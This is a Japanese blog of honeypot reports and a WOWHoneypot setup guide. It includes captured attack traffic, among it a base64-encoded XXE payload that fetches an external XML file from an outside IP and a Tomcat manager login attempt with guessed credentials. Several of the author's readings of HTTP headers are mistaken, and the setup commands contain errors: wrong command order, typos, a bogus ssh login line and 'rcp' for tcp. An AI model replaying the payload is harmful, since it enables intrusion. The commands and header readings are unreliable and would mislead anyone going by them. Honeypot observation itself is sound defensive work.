ハニーレポート

ハニーポット観測レポートを中心に書いていきます。

クラウドサービスからのアクセス!?

今日来たアクセスを分析していきます。

ログの中から下記アクセスを見ていきます。

167.94.146.59 XXXXXXXXXXX "GET / HTTP/1.1" 200 False

※XXXXはマスクしてあります。

167.94.146.59のGETアクセスをしてきています。

base64エンコードされている部分をデコードしていきます。

 

エンコードした結果がこちら。

GET / HTTP/1.1

Host: XXXXXXXXX

User-Agent: Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)

Accept: */*

Accept-Encoding: gzip

 

censysからのようですが・・・

詳しくipアドレスも調べていきます。

NetRange: 167.94.145.0 - 167.94.146.255 CIDR: 167.94.146.0/24 (マスク範囲), 167.94.145.0/24 (マスク範囲) NetName: CENSY NetHandle: NET-167-94-145-0-1 Parent: NET167 (NET-167-0-0-0-0) NetType: Direct Allocation OriginAS: Organization: Censys, Inc. (CENSY) RegDate: 2021-09-13 Updated: 2021-12-14 Ref: https://rdap.arin.net/registry/ip/167.94.145.0

OrgName: Censys, Inc. OrgId: CENSY
Address: 116 1/2 S Main Street
City: Ann Arbor
StateProv: MI
PostalCode: 48104
Country: US   
→ (アメリカ合衆国
RegDate: 2018-08-06
Updated: 2019-08-03
Comment: https://censys.io
Ref: https://rdap.arin.net/registry/entity/CENSY

アメリカのcensys[2]のようですが、ここはセキュリティのログ監視などのクラウドサービスになります。
本当にここからのアクセスか?
なにか、無作為にスキャンなりアクセスしにきてるのでしょうか・・・?

謎ですねぇ・・・

 

[1]

[2]

censys.io

正常に応答しなかったログの分析

今日はアクセスログの中で正常応答しなかったログを抽出して、1つのログをピックアップして分析します。

アクセスログの中でHTTPのレスポンスコード200以外の応答をgrepで抽出します。[1]

コマンドは以下

cat access_log | grep -v 200

結果例

f:id:darjring:20220211005119p:plain

たくさんの正常でない応答が抽出されましたw
どんだけ不正のリクエストくるのよwww

抽出したログの中で1番下のログを分析します。

/manager/html HTTP/1.1 401と出ていますので認証が必要とこちらから返しています。
/manager/htmlとにGETを送ってることから管理者でログインしようと試みてるかもしれませんね。

base64エンコードします。

echo "R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQWNjZXB0OiBpbWFnZS9naWYsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnLCBpbWFnZS9wanBlZywgYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gsIGFwcGxpY2F0aW9uL3gtbXMtYXBwbGljYXRpb24sIGFwcGxpY2F0aW9uL3gtbXMteGJhcCwgYXBwbGljYXRpb24vdm5kLm1zLXhwc2RvY3VtZW50LCBhcHBsaWNhdGlvbi94YW1sK3htbCwgKi8qCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMKVXNlci1BZ2VudDogTW96aWxsYS81LjAgR2Vja28vMjAxMDAxMDEKQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlCkhvc3Q6IDEzMy4yNDIuMTc4LjQwCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUKQXV0aG9yaXphdGlvbjogQmFzaWMgWjNWbGMzUTZjMlZ5ZG1WeQoK" | base64 -d

 

結果

Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*

Accept-Language: en-us

User-Agent: Mozilla/5.0 Gecko/20100101

Accept-Encoding: gzip, deflate

Host: XXX.XXX.XXX.XXX

Connection: Keep-Alive

Authorization: Basic Z3Vlc3Q6c2VydmVy

さまざまなイメージファイル、アプリケーションをgzip、deflate圧縮アルゴリズムで送りつける感じでしょうか・・・
x-shoskwave-flashはすでにサポート終了したフラッシュプレイヤーです。
サポート切れのアプリを入れさせて脆弱性をつく感じかな?
ConnectionがKeep-Aliveというのもコネクションを保ち続けるようにしていますね。
[3]

最後はBASIC認証ですね。
Basicの後の文字列はなんでしょう・・・

でたらめでしょうか?

色々攻撃が来てるので引き続きログレポートしていきたいと思います。

 

参考文献
[1]

digitalidentity.co.jp

[2]

 

[3]

milestone-of-se.nesuke.com

ハニーレポート#7 ログをbase64でデコードしてみる

アクセスログbase64エンコードされている部分がWOWHoneypotのアクセスログにあります。
この文字列をデコードしてあげると、どんなコマンドを仕掛けているかわかります。
1日数十から多い時は数百のアクセスがくるので全てにデコードして分析は非現実的ですので、例として一つのコマンドを見てみます。

~$ echo "UE9TVCAvYXV0b2Rpc2NvdmVyIEhUVFAvMS4xCkhvc3Q6IDEzMy4yNDIuMTc4LjQwOjgwClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYKQ29ubmVjdGlvbjogY2xvc2UKQ29udGVudC1MZW5ndGg6IDI2NApDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZApBY2NlcHQtRW5jb2Rpbmc6IGd6aXAKCjwhRE9DVFlQRSBwcmtwZWRkciBbPCFFTEVNRU5UIHBya3BlZGRyIEFOWT48IUVOVElUWSAlIG5hc2t6b2J3IFNZU1RFTSAnaHR0cDovLzgyLjExNy4yNTIuODMva2sueG1sJz4lbmFza3pvYnc7XT48QXV0b2Rpc2NvdmVyPjxSZXF1ZXN0PjxFTWFpbEFkZHJlc3M+YXNhc2RAbWFpbC5jb208L0VNYWlsQWRkcmVzcz48QWNjZXB0YWJsZVJlc3BvbnNlU2NoZW1hPiZ3b2NhcTs8L0FjY2VwdGFibGVSZXNwb25zZVNjaGVtYT48L1JlcXVlc3Q+PC9BdXRvZGlzY292ZXI+Cg==" | base64 -d

結果

POST /autodiscover HTTP/1.1

Host: XXXXXXXXXXXXXXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Connection: close

Content-Length: 264

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

POSTはHTTPサービスへの攻撃で用いられます。
User-Agentを見ると、OS情報とかブラウザ情報が書いてあります。

しかし、Windows NT10.0でAppleWebKit、ChromeSafariとめちゃくちゃですねwww

Accept-Encoding:gzipは圧縮アルゴリズムでファイルを送りつけようとしたのでしょうか?
相手がgzipに対応していないと解凍できないので意味がないのですが、解答と圧縮に負荷がかかるのでちょっとした嫌がらせ感もありますね。[1]

他にも興味深い攻撃などあったら引き続きレポートしていきます。

 

参考文献

weblabo.oscasierra.net

 

 

ハニーレポート#6 脆弱性を狙った攻撃を検知

ハニーポットを再構築して3日ほど経ちました。
アクセスが早速きているのでログを見てみます。
まだ、集計用のスクリプトなど作っていないので今日は不審なHTMLタグ挿入があるか抽出してみます。

ログ抽出用のコマンドはこちら[1]

grep -E "<[^>]+>[^<]+<[^>]+>" -o access_log

結果

f:id:darjring:20220207215507p:plain

検知しました。
これは、WordPress脆弱性をついた攻撃です。[2]
この攻撃は古い脆弱性のようです。
WordPress脆弱性をついた攻撃は多くあります。
WordPressでウェブサイトやブログを構築するのは容易であるため、初心者でも簡単に始められるかつ少し勉強すればさまざまなカスタマイズができる一方で攻撃者はそこをついてきます。
カスタマイズしてできた脆弱性やバージョンを更新しないままにしておいたWordPressで構築したサイトを狙ってくるのです。
今回もそういった攻撃っぽいですね。

参考サイト

[1]

qiita.com

[2]

it-omurice.tokyo

 

WOWHoneypot構築本

 

 

WOWHoneypot構築手順

ハニーポットを作成しましたが設定などメール送信したり、分析用コードを作成のためにpythonライブラリを色々入れたりしてました。
これだと再構築したりするときに同じ手順を踏んで構築ができないので作り直して作成方法を記録することにしました。

環境

さくらVPS

石狩サーバ

SSD 25GB

メモリ 512MB

月額 ¥643

年額一括払い ¥7092

年額で払うと月額 ¥591

月600円で運用が可能です。

2週間無料ですので、作成してみて2週間以内に解約すればお金はかかりません。
試しに構築だけしてみてもいいでしょう。
下記バナーからさくらVPSに行けます。

 

作成手順

1.  Ubuntuインストール

さくらVPSにログインして、コントロールパネルを開きます。

そして、契約した環境を選択します。

さくらVPSの契約の仕方は上記さくらのVPSのホームページに行くと契約の仕方がかいてあるので参考にしてください。

 

OSインストールをクリックします。
一度環境を作っていると、「OS再インストール」ボタンになります。

f:id:darjring:20220203231412p:plain

 

OSインストール形式は標準OSを選択します。

f:id:darjring:20220203231429p:plain

OS選択はUbuntu20.04 amd64を今回は選びます。

f:id:darjring:20220203231440p:plain

 

管理者パスワードを設定します。
sshのログインで使います。

f:id:darjring:20220203231507p:plain

 

 

パケットフィルター設定はssh接続とウェブサーバへ攻撃してもらうための、TCP22とTと80/443を許可します。

SSHとWebを選択すればOKです。

f:id:darjring:20220203231355p:plain

一番下まで行き、OSインストールを実行してしばらく待つと下図のように「完了しました」と出ます。

f:id:darjring:20220203231358p:plain

これでUbuntuがインストールされました。

 

2. Ubuntuにログイン

ここからUbuntu環境に入り設定構築をしていきます。

下記リンクの書籍を基に作成しました。
書籍ではUbuntu16.04ですので、少々コマンドが変わってきますが手順は変わりません。

githubも公開しています。
githubを見ても構築できます。

GitHub - morihisa/WOWHoneypot: 簡単に構築可能で、シンプルな機能で動作を把握しやすくした、サーバ側低対話型の入門用 Web ハニーポット。

 

また、こちらのサイトにも詳しく載ってるので参考にすると良いでしょう。

Honeypotを植えてみた(備忘録) - セキュリティ猫の備忘録

 

Ubuntuにログインしていきます。

ssh ubuntu@XXX.XXX.XXX.XXX

XXXは契約時に割り当てられたipアドレスが入ります。

ログインに成功すると

f:id:darjring:20220203231415p:plain

 

ubuntu@XXXXXXXX  ~$

と表示されればログイン成功です。

まずは、ubuntu環境を整えます。

 

3. aptでubuntuを最新の状態にします。

sudo apt update

sudo apt upgrade

 

4. 一般ユーザ作成

これは管理者権限ですので、一般ユーザを作成します。

sudo adduser [任意の名前(もちろん英数字です)]

[]内は自分の好きな名前で構いません。

sshで作成したユーザ名でログインします。

ssh 設定したユーザ名@XXX.XXX.XXX.XXX

または、ログインしたままで

su - 設定したユーザ名

これでもいけます。

下記の表示されたらログイン成功です。

設定したユーザ名@XXX.XXX.XXX.XXX $~

5. SSH接続のセキュリティ設定

次にSSH接続で管理者権限でログインしないように下記リンクを基に設定をしていきます。
設定したユーザアカウントでSSHログインをする際に公開鍵認証を利用するために「.sshディレクトリの中にauthorized_keysファイルを作成し、公開鍵を追記します。
作り方の詳細は下記サイトがわかりやすいです。

blog.hatena.ne.jp

さくらVPSでの設定は下記サイトを参考にすると良いです。

manual.sakura.ad.jp

 

そして、権限設定で下記コードを入力します。

~$ mkdir ~/.ssh
~$ chmod 700 ~/.ssh/authorized_keys
~$ touch ~/.ssh/authorized_keys
~$ chmod 600 ~/.ssh/suthorized_keys

最後にログイン確認します。

~$ sh -i ~/.ssh/authorized_keys ユーザ名@XXX.XXX.XXX.XXX

ログインできたら完了です。

6.  ファイアウォール設定

ファイアウォール設定をするため、rootユーザでログインします。
開放するポートは、ログイン用のSSHで利用する22/tcp、WOWHoneypot用の80/tcpと8080/tcpです。
Ubuntuでも設定をして、忘れずに1.のUbuntuインストール時のパケットフィルター設定も22、80、8080を開けるようにしておいてください。
開けないとWeb公開ができません。

まずは、念の為ufwをインストールしていきます

~$ ufw default DENY
~$ ufw allow 22/tcp
~$ ufw allow 80/tcp
~$ ufw allow 8080/tcp
~$ ufw enable
※y/nと確認がくるので、yを入力

次にポートフォワーディングの設定をします。
before.rulesファイルを開いたら、「*filter」の記載されている行よりも上に以下4行を追記します。

#viで下記場所のbefore.rulesファイルを開きます。

~$ sudo vi /etc/ufw/before.rules

追記する4行は以下になります。

*nat
:PREROUTING ACCEPT [0:0]
-A PREROUTING -p rcp --dport 80 -j REDIRECT --to-port 8080
COMMIT

追記して、before.rulesを保存したら、再起動します。

~$ reboot

7. WoWHoneypotダウンロード

gitでハニーポットを一式ダウンロードします。

f:id:darjring:20220203231427p:plain

8. 動作確認

WOWHoneypotを起動します。

~$ cd wowhoneypot
~$ python3 ./wowhoneypot.py

起動すると、文字列が色々と出てきて最後の5行が以下のように出力されます。

f:id:darjring:20220203231448p:plain

実際に動いているか、契約した時のIPアドレスgoogleなどのブラウザでアクセスして、以下のようなページアクセスできれば成功です。

f:id:darjring:20220203231453p:plain

f:id:darjring:20220203231450p:plain


いくつかのホームページパターンがアクセスするごとに出てきます。

この状態ですと、Ubuntuにログアウトと同時にサーバが落ちるので、ログアウトしても動き続けるようにするには、nohupコマンドを使用します。

f:id:darjring:20220203231504p:plain

nohupコマンドについてはこちらのサイトで詳しく載っています。

atmarkit.itmedia.co.jp

以上で完成です。

ログファイルは、logディレクトリのaccess_logファイルに記載されています。
また、この記事での起動の仕方ではnohupで起動して、wowhoneypotディレクトリの中にoutput.txtが作成されますので、output.txtファイルからも確認できます。

慣れれば、20〜30分でできるかと思います。
自分はubuntuバージョンの違いで多少参考サイトや書籍と違うコマンドだったり、公開キー設定で時間を取られて2時間くらいかかりましたw